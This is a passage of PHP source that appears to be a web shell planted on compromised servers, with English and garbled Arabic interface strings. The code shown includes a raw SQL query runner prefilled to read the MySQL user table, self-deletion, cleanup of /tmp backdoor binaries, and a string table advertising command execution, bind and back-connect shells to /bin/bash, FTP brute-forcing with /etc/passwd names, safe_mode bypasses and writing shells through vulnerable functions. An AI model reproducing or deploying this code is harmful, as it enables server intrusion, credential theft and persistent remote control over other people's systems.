  1565.                 if (!isset($_POST['add']) && !isset($_POST['deltable']) && isset($tablename)){
  1566.                         echo"<td>";
  1567.                         //$tablename = $_POST['tablename'];
  1568.                         $va="Add a $tablename Record";
  1569.                         goto($tablename, $_SESSION['dbname'], 'alter.php', 'but', 'add', $va );
  1570.                         echo"</td>\n";
  1571.                 }
  1572.  
  1573.                 if (!isset($_POST['deltable'])){
  1574.                         echo"<td>\n";
  1575.                         searchtableform($tablename, $_SESSION['dbname']);
  1576.                         echo"</td>\n";
  1577.                 }
  1578.                 echo"</tr></table>\n";
  1579.                 echo"<br />\n";
  1580.  
  1581. //**************************************************
  1582.  
  1583.                 if(isset($_POST['addrec'])){
  1584.            // $showall=false;
  1585.                         $result=addrecord($tablename, $_SESSION['dbname'], $_POST['array']);
  1586.                 }elseif(isset($_POST['add'])){
  1587.             $showall=false;
  1588.                         addform($tablename, $_SESSION['dbname']);
  1589.                 }elseif(isset($_POST['delete'])){
  1590.                         //delete record has been pushed
  1591.            // $showall=false;
  1592.                         $whr=buildwhr($_POST['pk'], $_POST['pv']);
  1593.                         $sql = "delete from $tablename where $whr";
  1594.                         $result=exequery($sql, $tablename, $_SESSION['dbname']);
  1595.                 }elseif (isset($_POST['edit'])){//Edit
  1596.             $showall=false;
  1597.                         $whr = buildwhr( $_POST['pk'], $_POST['pv']);
  1598.                         //$tablename = $_SESSION['tablename'];
  1599.                         $sql= "Select * from $tablename where $whr";
  1600.  
  1601.                         $result=exequery($sql, $tablename, $_SESSION['dbname']);
  1602.                         editform($tablename, $_SESSION['dbname'], $result, 'edit', $_POST['pk'], $_POST['pv']);
  1603.                 }elseif(isset($_POST['editrec'])){
  1604.            // $showall=false;
  1605.                         $result=editrec($_SESSION['dbname'],$tablename, $_POST['pk'], $_POST['pv'], $_POST['array']);
  1606.                 }
  1607. //**************** Search ************************************
  1608.                 if(isset($_POST['searchval'])){
  1609.                         $searchval=$_POST['searchval'];
  1610.                 }elseif(isset($_GET['searchval'])){
  1611.                         $searchval=$_GET['searchval'];
  1612.                 }else{
  1613.                         $searchval="";
  1614.                 }
  1615.  
  1616.                 if (isset($_GET['tablename'])){
  1617.                         $tablename = $_GET['tablename'];
  1618.                 }
  1619.  
  1620.                 if((isset($_POST['search'])|| isset($searchval)) && $searchval !=""){
  1621.                         $result=searcht($tablename, $_SESSION['dbname'],  $searchval);
  1622.                 }else{
  1623.                         //Display All
  1624.                         $query = "select * from $tablename";
  1625.                         $result=exequery($query, $tablename, $_SESSION['dbname']);
  1626.                 }
  1627.  
  1628. //***************** Display record count *****************************************
  1629.         if($showall){
  1630.             $num_rows = mysql_num_rows($result);
  1631.             //Workout whick page to display
  1632.                     if(!isset($_GET['pg']) && !isset($pg)){
  1633.                             $beg=0;
  1634.                 $pg=0;
  1635.                     }else{
  1636.                 if(isset($_GET['pback'])){
  1637.                     $pg=$_GET['pg'];
  1638.                 }else{
  1639.                     $pg=$_GET['pg'];
  1640.                 }
  1641.                  if($pg < 0 ){
  1642.                     $pg=0;
  1643.                 }
  1644.                 if($pg > $num_rows/$pagemax){
  1645.                     $pg=ceil($num_rows/$pagemax)-1;
  1646.                 }
  1647.                 $beg = $pg * $pagemax;
  1648.  
  1649.                     }
  1650.                     if (!isset($_POST['add'])){
  1651.                             $pscrol=" ";
  1652.                             $pagescrol =" ";
  1653.  
  1654.                             $pagescrol = whichpage($num_rows, $pagemax, $pg, $tablename, $searchval);
  1655.  
  1656.                             echo "$pagescrol\n"; //Display next Top page menu
  1657.  
  1658.                             $flds = mysql_num_fields($result);
  1659.                             echo"<table border=0 width='100%'>\n";
  1660.                             echo"<tr class=head><td></td><td></td>\n";
  1661.                             $fields = mysql_list_fields( $_SESSION['dbname'], $tablename);
  1662.  
  1663.                             $z=0;
  1664.                             $x =0;
  1665.                             $pkfield=array();
  1666.  
  1667. //*************Display each of the field names.***************************
  1668.                             for ($i = 0; $i < $flds; $i++) {
  1669.                                         echo "<td>".mysql_field_name($fields, $i)."</td>\n";
  1670.  
  1671.                                     //Find the primary key
  1672.                                     $flagstring = mysql_field_flags ($result, $i);
  1673.                                     if(eregi("primary",$flagstring )){
  1674.                                             $pk[$z] = $i;
  1675.  
  1676.                                             $pkfield[$z]= mysql_field_name($fields, $i);
  1677.                                             $z++;
  1678.                                     }
  1679.                             }
  1680.                             echo"</tr>\n";
  1681.                             $tbl=$tablename;
  1682.                             //if(isset($pk)){
  1683.                             if($z > 0){
  1684.                                     $cpk=count($pk);
  1685.                             }else{
  1686.                                     $cpk=0;
  1687.                             }
  1688.  
  1689. //************Display each row from the table.********************************
  1690.  
  1691.                             for ($s=$beg; $s < $beg + $pagemax; $s++){
  1692.                                     if($s < $num_rows){
  1693.                                             if (!mysql_data_seek ($result, $s)) {
  1694.                                         echo "Cannot seek to row $s\n";
  1695.                                         continue;
  1696.                                     }
  1697.                                             $row=mysql_fetch_array($result);
  1698.                                             if(!isset($pk)){
  1699.                                                     $pk=" ";
  1700.                                                     $pkfield= array();
  1701.                                             }
  1702.                                             displayrow($_SESSION['dbname'], $tbl, $pk, $pkfield, $cpk, $row, $flds);
  1703.                                     }
  1704.                             }
  1705.                     }
  1706.                     echo"</table>\n";
  1707.                     if (!isset($_POST['add']) && !isset($_POST['edit']) && !isset($_POST['deltable']) && !isset($_POST['droptab']) && !isset($_POST['wyoq']) && $tablename){
  1708.                             echo"<br>";
  1709.                             echo "$pagescrol\n"; //Display bottom next page menu
  1710.                     }
  1711.                     echo"<br><br>\n";
  1712.                  }//showall
  1713.                  if(isset($_POST['tablename'])){
  1714.                          echo"<table border=0>";
  1715.                      echo"<tr><td>";
  1716.                          $tablename=$_POST['tablename'];
  1717.                          $va="Alter Table $tablename";
  1718.                          goto( $tablename,  $_SESSION['dbname'],'alter.php', 'but', 'altertable', $va );
  1719.                          echo"</td></tr>\n";
  1720.                          echo"</table>\n";
  1721.                 }
  1722.         }
  1723. }
  1724. display_foot();
  1725. echo "<br><div align=center><font face=tahoma size=-2><b>[ <a href=".$_SERVER['PHP_SELF'].">BACK</a> ]</b></font></div>";  die(); }
  1726.  
  1727. if (!empty($_POST['cmd']) && $_POST['cmd']=="db_query")
  1728.  {
  1729.  echo $head;
  1730.  $sql = new my_sql();
  1731.  $sql->db   = $_POST['db'];
  1732.  $sql->host = $_POST['db_server'];
  1733.  $sql->port = $_POST['db_port'];
  1734.  $sql->user = $_POST['mysql_l'];
  1735.  $sql->pass = $_POST['mysql_p'];
  1736.  $sql->base = $_POST['mysql_db'];
  1737.  $querys = @explode(';',$_POST['db_query']);
  1738.  echo '<body bgcolor=#000000>';
  1739.  if(!$sql->connect()) echo "<div align=center><font face=tahoma size=-2 color=red><b>Can't connect to SQL server</b></font></div>";
  1740.   else
  1741.    {
  1742.    if(!empty($sql->base)&&!$sql->select_db()) echo "<div align=center><font face=tahoma size=-2 color=red><b>áa íÓEOíÚ EÍIíI ?ÇÚIa ÇáEíÇäÇE</b></font></div>";
  1743.    else
  1744.     {
  1745.     foreach($querys as $num=>$query)
  1746.      {
  1747.       if(strlen($query)>5)
  1748.       {
  1749.       echo "<font face=tahoma size=-2 color=green><b>Query#".$num." : ".htmlspecialchars($query,ENT_QUOTES)."</b></font><br>";
  1750.       switch($sql->query($query))
  1751.        {
  1752.        case '0':
  1753.        echo "<table width=100%><tr><td><font face=tahoma size=-2>Error : <b>".$sql->error."</b></font></td></tr></table>";
  1754.        break;
  1755.        case '1':
  1756.        if($sql->get_result())
  1757.         {
  1758.                echo "<table width=100%>";
  1759.         foreach($sql->columns as $k=>$v) $sql->columns[$k] = htmlspecialchars($v,ENT_QUOTES);
  1760.                $keys = @implode("&nbsp;</b></font></td><td bgcolor=#cccccc><font face=tahoma size=-2><b>&nbsp;", $sql->columns);
  1761.         echo "<tr><td bgcolor=#333333><font face=tahoma size=-2><b>&nbsp;".$keys."&nbsp;</b></font></td></tr>";
  1762.         for($i=0;$i<$sql->num_rows;$i++)
  1763.          {
  1764.          foreach($sql->rows[$i] as $k=>$v) $sql->rows[$i][$k] = htmlspecialchars($v,ENT_QUOTES);
  1765.          $values = @implode("&nbsp;</font></td><td><font face=tahoma size=-2>&nbsp;",$sql->rows[$i]);
  1766.          echo '<tr><td><font face=tahoma size=-2>&nbsp;'.$values.'&nbsp;</font></td></tr>';
  1767.          }
  1768.         echo "</table>";
  1769.         }
  1770.        break;
  1771.        case '2':
  1772.        $ar = $sql->affected_rows()?($sql->affected_rows()):('0');
  1773.        echo "<table width=100%><tr><td><font face=tahoma size=-2>affected rows : <b>".$ar."</b></font></td></tr></table><br>";
  1774.        break;
  1775.        }
  1776.       }
  1777.      }
  1778.     }
  1779.    }
  1780.  echo "<br><form name=form method=POST>";
  1781.  echo in('hidden','db',0,$_POST['db']);
  1782.  echo in('hidden','db_server',0,$_POST['db_server']);
  1783.  echo in('hidden','db_port',0,$_POST['db_port']);
  1784.  echo in('hidden','mysql_l',0,$_POST['mysql_l']);
  1785.  echo in('hidden','mysql_p',0,$_POST['mysql_p']);
  1786.  echo in('hidden','mysql_db',0,$_POST['mysql_db']);
  1787.  echo in('hidden','cmd',0,'db_query');
  1788.  echo "<div align=center>";
  1789.  echo "<font face=tahoma size=-2><b>Base: </b><input type=text name=mysql_db value=\"".$sql->base."\"></font><br>";
  1790.  echo "<textarea cols=65 rows=10 name=db_query>".(!empty($_POST['db_query'])?($_POST['db_query']):("SHOW DATABASES;\nSELECT * FROM user;"))."</textarea><br><input type=submit name=submit value=\" Run SQL query \"></div><br><br>";
  1791.  echo "</form>";
  1792.  echo "<br><div align=center><font face=tahoma size=-2><b>[ <a href=".$_SERVER['PHP_SELF'].">BACK</a> ]</b></font></div>"; die();
  1793.  }
  1794. if(isset($_GET['delete']))
  1795.  {
  1796.    @unlink(__FILE__);
  1797.  }
  1798. if(isset($_GET['tmp']))
  1799.  {
  1800.    @unlink("/tmp/bdpl");
  1801.    @unlink("/tmp/back");
  1802.    @unlink("/tmp/bd");
  1803.    @unlink("/tmp/bd.c");
  1804.    @unlink("/tmp/dp");
  1805.    @unlink("/tmp/dpc");
  1806.    @unlink("/tmp/dpc.c");
  1807.  }
  1808. if(isset($_GET['phpini']))
  1809. {
  1810. echo $head;
  1811. function U_value($value)
  1812.  {
  1813.  if ($value == '') return '<i>no value</i>';
  1814.  if (@is_bool($value)) return $value ? 'TRUE' : 'FALSE';
  1815.  if ($value === null) return 'NULL';
  1816.  if (@is_object($value)) $value = (array) $value;
  1817.  if (@is_array($value))
  1818.  {
  1819.  @ob_start();
  1820.  print_r($value);
  1821.  $value = @ob_get_contents();
  1822.  @ob_end_clean();
  1823.  }
  1824.  return U_wordwrap((string) $value);
  1825.  }
  1826. function U_wordwrap($str)
  1827.  {
  1828.  $str = @wordwrap(@htmlspecialchars($str), 100, '<wbr />', true);
  1829.  return @preg_replace('!(&[^;]*)<wbr />([^;]*;)!', '$1$2<wbr />', $str);
  1830.  }
  1831. if (@function_exists('ini_get_all'))
  1832.  {
  1833.  $r = '';
  1834.  echo '<table width=100%>', '<tr><td bgcolor=#000000><font face=tahoma size=-2 color=red><div align=center><b>Directive</b></div></font></td><td bgcolor=#000000><font face=tahoma size=-2 color=red><div align=center><b>Local Value</b></div></font></td><td bgcolor=#000000><font face=tahoma size=-2 color=red><div align=center><b>Master Value</b></div></font></td></tr>';
  1835.  foreach (@ini_get_all() as $key=>$value)
  1836.   {
  1837.   $r .= '<tr><td>'.ws(3).'<font face=tahoma size=-2><b>'.$key.'</b></font></td><td><font face=tahoma size=-2><div align=center><b>'.U_value($value['local_value']).'</b></div></font></td><td><font face=tahoma size=-2><div align=center><b>'.U_value($value['global_value']).'</b></div></font></td></tr>';
  1838.   }
  1839.  echo $r;
  1840.  echo '</table>';
  1841.  }
  1842. echo "<br><div align=center><font face=tahoma size=-2><b>[ <a href=".$_SERVER['PHP_SELF'].">BACK</a> ]</b></font></div>";
  1843. die();
  1844. }
  1845. if(isset($_GET['cpu']))
  1846.  {
  1847.    echo $head;
  1848.    echo '<table width=100%><tr><td bgcolor=#000000><div align=center><font face=tahoma size=-2 color=red><b>CPU</b></font></div></td></tr></table><table width=100%>';
  1849.    $cpuf = @file("cpuinfo");
  1850.    if($cpuf)
  1851.     {
  1852.       $c = @sizeof($cpuf);
  1853.       for($i=0;$i<$c;$i++)
  1854.         {
  1855.           $info = @explode(":",$cpuf[$i]);
  1856.           if($info[1]==""){ $info[1]="---"; }
  1857.           $r .= '<tr><td>'.ws(3).'<font face=tahoma size=-2><b>'.trim($info[0]).'</b></font></td><td><font face=tahoma size=-2><div align=center><b>'.trim($info[1]).'</b></div></font></td></tr>';
  1858.         }
  1859.       echo $r;
  1860.     }
  1861.    else
  1862.     {
  1863.       echo '<tr><td>'.ws(3).'<div align=center><font face=tahoma size=-2><b> --- </b></font></div></td></tr>';
  1864.     }
  1865.    echo '</table>';
  1866.    echo "<br><div align=center><font face=tahoma size=-2><b>[ <a href=".$_SERVER['PHP_SELF'].">BACK</a> ]</b></font></div>";
  1867.    die();
  1868.  }
  1869. if(isset($_GET['mem']))
  1870.  {
  1871.    echo $head;
  1872.    echo '<table width=100%><tr><td bgcolor=#000000><div align=center><font face=tahoma size=-2 color=red><b>MEMORY</b></font></div></td></tr></table><table width=100%>';
  1873.    $memf = @file("meminfo");
  1874.    if($memf)
  1875.     {
  1876.       $c = sizeof($memf);
  1877.       for($i=0;$i<$c;$i++)
  1878.         {
  1879.           $info = explode(":",$memf[$i]);
  1880.           if($info[1]==""){ $info[1]="---"; }
  1881.           $r .= '<tr><td>'.ws(3).'<font face=tahoma size=-2><b>'.trim($info[0]).'</b></font></td><td><font face=tahoma size=-2><div align=center><b>'.trim($info[1]).'</b></div></font></td></tr>';
  1882.         }
  1883.       echo $r;
  1884.     }
  1885.    else
  1886.     {
  1887.       echo '<tr><td>'.ws(3).'<div align=center><font face=tahoma size=-2><b> --- </b></font></div></td></tr>';
  1888.     }
  1889.    echo '</table>';
  1890.    echo "<br><div align=center><font face=tahoma size=-2><b>[ <a href=".$_SERVER['PHP_SELF'].">BACK</a> ]</b></font></div>";
  1891.    die();
  1892.  }
  1893. $lang=array(
  1894. 'eng_text1' =>'Executed command',
  1895. 'eng_text2' =>'Execute command on server',
  1896. 'eng_text3' =>'Run command',
  1897. 'eng_text4' =>'Work directory',
  1898. 'eng_text5' =>'Upload files on server',
  1899. 'eng_text6' =>'Local file',
  1900. 'eng_text7' =>'Aliases',
  1901. 'eng_text8' =>'Select alias',
  1902. 'eng_butt1' =>'Execute',
  1903. 'eng_butt2' =>'Upload',
  1904. 'eng_text9' =>'Bind port to /bin/bash',
  1905. 'eng_text10'=>'Port',
  1906. 'eng_text11'=>'Password for access',
  1907. 'eng_butt3' =>'Bind',
  1908. 'eng_text12'=>'back-connect',
  1909. 'eng_text13'=>'IP',
  1910. 'eng_text14'=>'Port',
  1911. 'eng_butt4' =>'Connect',
  1912. 'eng_text15'=>'Upload files from remote server',
  1913. 'eng_text16'=>'With',
  1914. 'eng_text17'=>'Remote file',
  1915. 'eng_text18'=>'Local file',
  1916. 'eng_text19'=>'Exploits',
  1917. 'eng_text20'=>'Use',
  1918. 'eng_text21'=>'&nbsp;New name',
  1919. 'eng_text22'=>'datapipe',
  1920. 'eng_text23'=>'Local port',
  1921. 'eng_text24'=>'Remote host',
  1922. 'eng_text25'=>'Remote port',
  1923. 'eng_text26'=>'Use',
  1924. 'eng_butt5' =>'Run',
  1925. 'eng_text28'=>'Work in safe_mode',
  1926. 'eng_text29'=>'ACCESS DENIED',
  1927. 'eng_butt6' =>'Change',
  1928. 'eng_text30'=>'Cat file',
  1929. 'eng_butt7' =>'Show',
  1930. 'eng_text31'=>'File not found',
  1931. 'eng_text32'=>'Eval PHP code',
  1932. 'eng_text33'=>'Test bypass open_basedir with cURL functions',
  1933. 'eng_butt8' =>'Test',
  1934. 'eng_text34'=>'Test bypass safe_mode with include function',
  1935. 'eng_text35'=>'Test bypass safe_mode with load file in mysql',
  1936. 'eng_text36'=>'Database . Table',
  1937. 'eng_text37'=>'Login',
  1938. 'eng_text38'=>'Password',
  1939. 'eng_text39'=>'Database',
  1940. 'eng_text40'=>'Dump database table',
  1941. 'eng_butt9' =>'Dump',
  1942. 'eng_text41'=>'Save dump in file',
  1943. 'eng_text42'=>'Edit files',
  1944. 'eng_text43'=>'File for edit',
  1945. 'eng_butt10'=>'Save',
  1946. 'eng_text44'=>'Can\'t edit file! Only read access!',
  1947. 'eng_text45'=>'File saved',
  1948. 'eng_text46'=>'Show phpinfo()',
  1949. 'eng_text47'=>'Show variables from php.ini',
  1950. 'eng_text48'=>'Delete temp files',
  1951. 'eng_butt11'=>'Edit file',
  1952. 'eng_text49'=>'Delete script from server',
  1953. 'eng_text50'=>'View cpu info',
  1954. 'eng_text51'=>'View memory info',
  1955. 'eng_text52'=>'Find text',
  1956. 'eng_text53'=>'In dirs',
  1957. 'eng_text54'=>'Find text in files',
  1958. 'eng_butt12'=>'Find',
  1959. 'eng_text55'=>'Only in files',
  1960. 'eng_text56'=>'Nothing :(',
  1961. 'eng_text57'=>'Create/Delete File/Dir',
  1962. 'eng_text58'=>'name',
  1963. 'eng_text59'=>'file',
  1964. 'eng_text60'=>'dir',
  1965. 'eng_butt13'=>'Create/Delete',
  1966. 'eng_text61'=>'File created',
  1967. 'eng_text62'=>'Dir created',
  1968. 'eng_text63'=>'File deleted',
  1969. 'eng_text64'=>'Dir deleted',
  1970. 'eng_butt65'=>'Create',
  1971. 'eng_text65'=>'Create',
  1972. 'eng_text66'=>'Delete',
  1973. 'eng_text67'=>'Chown/Chgrp/Chmod',
  1974. 'eng_text68'=>'Command',
  1975. 'eng_text69'=>'param1',
  1976. 'eng_text70'=>'param2',
  1977. 'eng_text71'=>"Second commands param is:\r\n- for CHOWN - name of new owner or UID\r\n- for CHGRP - group name or GID\r\n- for CHMOD - 0777, 0755...",
  1978. 'eng_text72'=>'Text for find',
  1979. 'eng_text73'=>'Find in folder',
  1980. 'eng_text74'=>'Find in files',
  1981. 'eng_text75'=>'* you can use regexp',
  1982. 'eng_text76'=>'Search text in files via find',
  1983. 'eng_text80'=>'Type',
  1984. 'eng_text81'=>'Net',
  1985. 'eng_text82'=>'Databases',
  1986. 'eng_text83'=>'Run SQL query',
  1987. 'eng_text84'=>'SQL query',
  1988. 'eng_text85'=>'Test bypass safe_mode with commands execute via MSSQL server',
  1989. 'eng_text86'=>'Download files from server',
  1990. 'eng_butt14'=>'Download',
  1991. 'eng_text87'=>'Download files from remote ftp-server',
  1992. 'eng_text88'=>'FTP-server:port',
  1993. 'eng_text89'=>'File on ftp',
  1994. 'eng_text90'=>'Transfer mode',
  1995. 'eng_text91'=>'Archivation',
  1996. 'eng_text92'=>'without archivation',
  1997. 'eng_text93'=>'FTP',
  1998. 'eng_text94'=>'FTP-bruteforce',
  1999. 'eng_text95'=>'Users list',
  2000. 'eng_text96'=>'Can\'t get users list',
  2001. 'eng_text97'=>'checked: ',
  2002. 'eng_text98'=>'success: ',
  2003. 'eng_text99'=>'* use username from /etc/passwd for ftp login and password',
  2004. 'eng_text100'=>'Send file to remote ftp server',
  2005. 'eng_text101'=>'Use reverse (user -> resu) login for password',
  2006. 'eng_text102'=>'Mail',
  2007. 'eng_text103'=>'Send email',
  2008. 'eng_text104'=>'Send file to email',
  2009. 'eng_text105'=>'To',
  2010. 'eng_text106'=>'From',
  2011. 'eng_text107'=>'Subj',
  2012. 'eng_butt15'=>'Send',
  2013. 'eng_text108'=>'Mail',
  2014. 'eng_text109'=>'Hide',
  2015. 'eng_text110'=>'Show',
  2016. 'eng_text111'=>'SQL-Server : Port',
  2017. 'eng_text112'=>'Test bypass safe_mode with function mb_send_mail',
  2018. 'eng_text113'=>'Test bypass safe_mode, view dir list via imap_list',
  2019. 'eng_text114'=>'Test bypass safe_mode, view file contest via imap_body',
  2020. 'eng_text115'=>'Test bypass safe_mode, copy file via compress.zlib:// in function copy()',
  2021. 'eng_text116'=>'Copy from',
  2022. 'eng_text117'=>'to',
  2023. 'eng_text118'=>'File copied',
  2024. 'eng_text119'=>'Cant copy file',
  2025. 'eng_err0'=>'Error! Can\'t write in file ',
  2026. 'eng_err1'=>'Error! Can\'t read file ',
  2027. 'eng_err2'=>'Error! Can\'t create ',
  2028. 'eng_err3'=>'Error! Can\'t connect to ftp',
  2029. 'eng_err4'=>'Error! Can\'t login on ftp server',
  2030. 'eng_err5'=>'Error! Can\'t change dir on ftp',
  2031. 'eng_err6'=>'Error! Can\'t sent mail',
  2032. 'eng_err7'=>'Mail send',
  2033. 'eng_text200'=>'read file from vul copy()',
  2034. 'eng_text202'=>'where file in server',
  2035. 'eng_text300'=>'read file from vul curl()',
  2036. 'eng_text203'=>'read file from vul ini_restore()',
  2037. 'eng_text204'=>'write shell from vul error_log()',
  2038. 'eng_text205'=>'write shell in this side',
  2039. 'eng_text206'=>'read dir',
  2040. 'eng_text207'=>'read dir from vul reg_glob',
  2041. 'eng_text208'=>'execute with function',
  2042. 'eng_text209'=>'read dir from vul root',
  2043. 'eng_text210'=>'DeZender ',
  2044. 'eng_text211'=>'::safe_mode off::',
  2045. 'eng_text212'=>'colse safe_mode with php.ini',
  2046. 'eng_text213'=>'colse security_mod with .htaccess',
  2047. 'eng_text214'=>'Admin name',
  2048. 'eng_text215'=>'IRC server ',
  2049. 'eng_text216'=>'#room name',
  2050. 'eng_text217'=>'server',
  2051. 'eng_text218'=>'write ini.php file to close safe_mode with ini_restore vul',
  2052. 'eng_text219'=>'Get file to server in safe_mode and change name',
  2053. 'eng_text220'=>'show file with symlink vul',
  2054. 'eng_text221'=>'zip file in server to download',
  2055. 'ar_text222'=>'2 symlink use vul',
  2056. 'ar_text223'=>'read file from funcution',
  2057. 'ar_text224'=>'read file from PLUGIN ',
  2058.  
  2059. /* --------------------------------------------------------------- */
  2060. 'ar_text1' =>'ÇáÇaN ÇáaäÝ?',
  2061. 'ar_text2' =>'EäÝí? ÇáÇaÇaN Ýí ÇáÓíNÝN',
  2062. 'ar_text3' =>'ÇaN ÇáEÔUíá',
  2063. 'ar_text4' =>'aßÇä Úaáß ÇáÇä Úái ÇáÓíNÝN',
  2064. 'ar_text5' =>'NÝÚ aáÝ Çái ÇáÓíNÝN',
  2065. 'ar_text6' =>'aÓÇN aáÝß',
  2066. 'ar_text7' =>'ÇaÇaN IÇaOa',
  2067. 'ar_text8' =>'ÇÎEN ÇáÇaN',
  2068. 'ar_butt1' =>'EäÝí?',
  2069. 'ar_butt2' =>'NÝÜÚ',
  2070. 'ar_text9' =>'ÝEÍ EaNE Ýí ÇáÓíNÝN Úái /bin/bash',
  2071. 'ar_text10'=>'EÜaNE',
  2072. 'ar_text11'=>'EÇÓaNI ááIÎaá',
  2073. 'ar_butt3' =>'ÝEÍ',
  2074. 'ar_text12'=>'AEOÜÇá ÚÜßÓí',
  2075. 'ar_text13'=>'ÇáÇí Eí',
  2076. 'ar_text14'=>'ÇáaäÝ?',
  2077. 'ar_butt4' =>'AEÜOÇá',
  2078. 'ar_text15'=>'ÓÍE aáÝÇE Çái ÇáÓíNÝN',
  2079. 'ar_text16'=>'Úä ONí?',
  2080. 'ar_text17'=>'NÇEO ÇáaáÝ',
  2081. 'ar_text18'=>'aßÇä äOaáa',
  2082. 'ar_text19'=>'Exploits',
  2083. 'ar_text20'=>'AÓEÎIa',
  2084. 'ar_text21'=>'ÇáÇÓa ÇáIIíI',
  2085. 'ar_text22'=>'ÇäEaE ÇáEíÇäÇE',
  2086. 'ar_text23'=>'ÇáEaNE ÇáaÍáí',
  2087. 'ar_text24'=>'ÇáÓíNÝN ÇáEÚíI',
  2088. 'ar_text25'=>'ÇáaäÝ? ÇáEÚíI',
  2089. 'ar_text26'=>'ÇÓEÎIa',
  2090. 'ar_butt5' =>'EÔUíá',
  2091. 'ar_text28'=>'ÇáÚaá Ýí ÇáaÖÚ ÇáÇaä',
  2092. 'ar_text29'=>'aaäaÚ ÇáIÎaá',
  2093. 'ar_butt6' =>'EUíN',
  2094. 'ar_text30'=>'ÚNÖ aáÝ',
  2095. 'ar_butt7' =>'ÚNÖ',
  2096. 'ar_text31'=>'ÇáaáÝ UíN aaIaI',
  2097. 'ar_text32'=>'EäÝí? ßaI php Úä ONí? IÇáa eval',
  2098. 'ar_text33'=>'Test bypass open_basedir with cURL functions',
  2099. 'ar_butt8' =>'ÇÎEEÇN',
  2100. 'ar_text34'=>'?NÇAa ÇáaáÝÇE Úä ONí? ËUNa include',
  2101. 'ar_text35'=>'?NÇAa ÇáaáÝÇE Úä ONí? ËUNa Mysql',
  2102. 'ar_text36'=>'Çá?ÇÚIÉ . ÇáIIaá',
  2103. 'ar_text37'=>'ÇÓa ÇáaÓEÎIa',
  2104. 'ar_text38'=>'ßáaÉ ÇáaNaN',
  2105. 'ar_text39'=>'Çá?ÇÚIÉ',
  2106. 'ar_text40'=>'äÓÎÉ aä IIÇaá Çá?ÇÚIÉ',
  2107. 'ar_butt9' =>'äÓÎÉ',
  2108. 'ar_text41'=>'ÍÝU ÇáäÓÎÉ Ýí',
  2109. 'ar_text42'=>'EÚIíá ÇáaáÝÇE',
  2110. 'ar_text43'=>'ÇáaáÝ ÇáaNÇI EÚIíáa',
  2111. 'ar_butt10'=>'ÍÝU',
  2112. 'ar_text44'=>'áÇEÓEOíÚ ÇáEÚIíá Úái a?Ç ÇáaáÝ Ý?O E?NA',
  2113. 'ar_text45'=>'Ea ÇáÍÝU',
  2114. 'ar_text46'=>'ÚNÖ phpinfo()',
  2115. 'ar_text47'=>'NÄíÉ ÇáaEUíNÇE Ýí php.ini',
  2116. 'ar_text48'=>'aÓÍ aáÝÇE ÇáÜ temp',
  2117. 'ar_butt11'=>'EÍNíN ÇáaáÝ',
  2118. 'ar_text49'=>'aÓÍ ÇáÓßNEE aä ÇáÓíNÝN',
  2119. 'ar_text50'=>'ÚNÖ aÚáaaÇE Çá?ÇßNÉ ÇáNAíÓíÉ',
  2120. 'ar_text51'=>'ÚNÖ aÚáaaÇE Çá?ÇßNÉ',
  2121. 'ar_text52'=>'EÍË äO',
  2122. 'ar_text53'=>'Ýí ÇáaÓÇN',
  2123. 'ar_text54'=>'EÍË Úä äO Ýí ÇáaáÝÇE',
  2124. 'ar_butt12'=>'EÍË',
  2125. 'ar_text55'=>'Ý?O Ýí ÇáaáÝÇE',
  2126. 'ar_text56'=>'áÇíaII :(',
  2127. 'ar_text57'=>'ÇäÔÇÁ/aÓÍ aáÝ/aIáI',
  2128. 'ar_text58'=>'ÇáÇÓa',
  2129. 'ar_text59'=>'aáÝ',
  2130. 'ar_text60'=>'aIáI',
  2131. 'ar_butt13'=>'AäÔÇÁ /aÓÍ',
  2132. 'ar_text61'=>'Ea AäÔÇÁ ÇáaáÝ',
  2133. 'ar_text62'=>'Ea AäÔÇÁ ÇáaIáI',
  2134. 'ar_text63'=>'Ea aÓÍ ÇáaáÝ',
  2135. 'ar_text64'=>'Ea aÓÍ ÇáaIáI',
  2136. 'ar_butt65'=>'AäÔÇÁ',
  2137. 'ar_text66'=>'aÓÍ',
  2138. 'ar_text67'=>'ÇáEONíÍ/ÇáaÓEÎIa/ÇáaIaaÚÉ',
  2139. 'ar_text68'=>'ÇaN',
  2140. 'ar_text69'=>'AÓa ÇáaáÝ',
  2141. 'ar_text70'=>'ÇáEONíÍ',
  2142. 'ar_text71'=>"Second commands param is:\r\n- for CHOWN - name of new owner or UID\r\n- for CHGRP - group name or GID\r\n- for CHMOD - 0777, 0755...",
  2143. 'ar_text72'=>'ÇáäO ÇáaNÇI',
  2144. 'ar_text73'=>'EÍË Ýí ÇáaIáIÇE',
  2145. 'ar_text74'=>'EÍË Ýí ÇáaáÝÇE',
  2146. 'ar_text75'=>'* you can use regexp',
  2147. 'ar_text76'=>'ÇáEÍË Úä äO Ýí aáÝÇE EaÇÓOa find',
  2148. 'ar_text80'=>'ÇáäaÚ',
  2149. 'ar_text81'=>'ÇáAEOÇáÇE',
  2150. 'ar_text82'=>'?aÇÚI ÇáEíÇäÇE',
  2151. 'ar_text83'=>'EÔUíá ÇaN ÇÓEÚáÇa',
  2152. 'ar_text84'=>'ÇÓEÚáÇa ?ÇÚIÉ',
  2153. 'ar_text85'=>'Test bypass safe_mode with commands execute via MSSQL server',
  2154. 'ar_text86'=>'EäOíá aáÝÇE aä ÇáÓíNÝN',
  2155. 'ar_butt14'=>'EÍaíá',
  2156. 'ar_text87'=>'EäOíá aáÝÇE aä ÎÇIa ÇáÇÝ Eí Eí',
  2157. 'ar_text88'=>'ÓíNÝN ÇáÇÝ Eí Eí:ÇáaäÝ?',
  2158. 'ar_text89'=>'aáÝ Ýí ÇáÇÝ Eí Eí',
  2159. 'ar_text90'=>'ÇáEÍaíá Çái',
  2160. 'ar_text91'=>'ÇNÔÝÉ',
  2161. 'ar_text92'=>'aä UíN ÇáÇNÔÝÉ',
  2162. 'ar_text93'=>'ÇáÇÝ Eí Eí',
  2163. 'ar_text94'=>'EÎaíä ÇáÇÝ Eí Eí',
  2164. 'ar_text95'=>'?ÇAaÉ ÇáaÓEÎIaíä',
  2165. 'ar_text96'=>'áa íÓEOÚ ÓÍE ?ÇAaÉ ÇáaÓEÎIaíä',
  2166. 'ar_text97'=>'Ea ÇáÝÍO: ',
  2167. 'ar_text98'=>'Ea EäIÇÍ: ',
  2168. 'ar_text99'=>'* ÇÓEÎIa ÇÓaÇÁ ÇáaÓEÎIaíä Ýí aáÝ /etc/passwd áIÎaá ááÜ ftp',
  2169. 'ar_text100'=>'ÇNÓÇá aáÝ Çái ÎÇIa ÇáÇÝ Eí Eí',
